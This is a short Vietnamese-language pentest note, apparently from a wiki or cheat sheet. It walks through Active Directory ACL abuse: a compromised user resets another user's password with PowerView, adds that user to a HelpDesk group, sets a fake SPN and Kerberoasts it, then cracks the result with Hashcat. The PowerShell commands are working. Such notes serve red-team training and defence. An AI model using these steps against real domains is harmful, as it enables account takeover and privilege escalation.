ACL Abuse Tactics

Attack chain như sau, coi như là attacker đã chiếm được credential của người dùng A:

  1. User A thực hiện đổi password của user B.

  2. Authenticate với quyền người dùng B có quyền GenericWrite sau đó add user B và group HelpDesk.

  3. Tận dụng nested group membership trong group IT và quyền GenericAll để take control user C.

Create PSCredential Object:

$SecPassword = ConvertTo-SecureString '<new password>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\A', $SecPassword) 

Sử dụng SecureString object để represent password muốn đặt cho user B

Create SecureString Object:

$BPassword = ConvertTo-SecureString '<new password>' -AsPlainText -Force

Cuối cùng là sử dụng Set-DomainUserPassword của powershell để change password, với -Credential là credential của user A mà ta đã tạo. Với linux thì sử dụng pth-net (pth-toolkit).

Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity B -AccountPassword $BPassword -Credential $Cred -Verbose

Add user B vào group HelpDesk:

$SecPassword = ConvertTo-SecureString '<new password>' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('domain\B', $SecPassword)
Get-ADGroup -Identity "HelpDesk" -Properties * | Select -ExpandProperty Members
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'B' -Credential $Cred2 -Verbose

Bây giờ user B đã có quyền GerericAll , sử dụng user này để Kerberoasting attack bằng cách sửa attribute servicePrincipalName để tạo một SPN fake mà sau đó có thể kerberoast để lấy TGS ticket và crack hash offline.

Với authenticate thành công một member trong group IT và user B đã nằm trong group HelpDesk, ta đã kế thừa được nested group membership. Sử dụng Set-DomainObject để tạo fake SPN, với linux sử dụng targetedKerberoast.

Kerberoasting with Rubeus:

Sau đó sử dụng Hashcat mode 13100 để crack cleartext password.

Last updated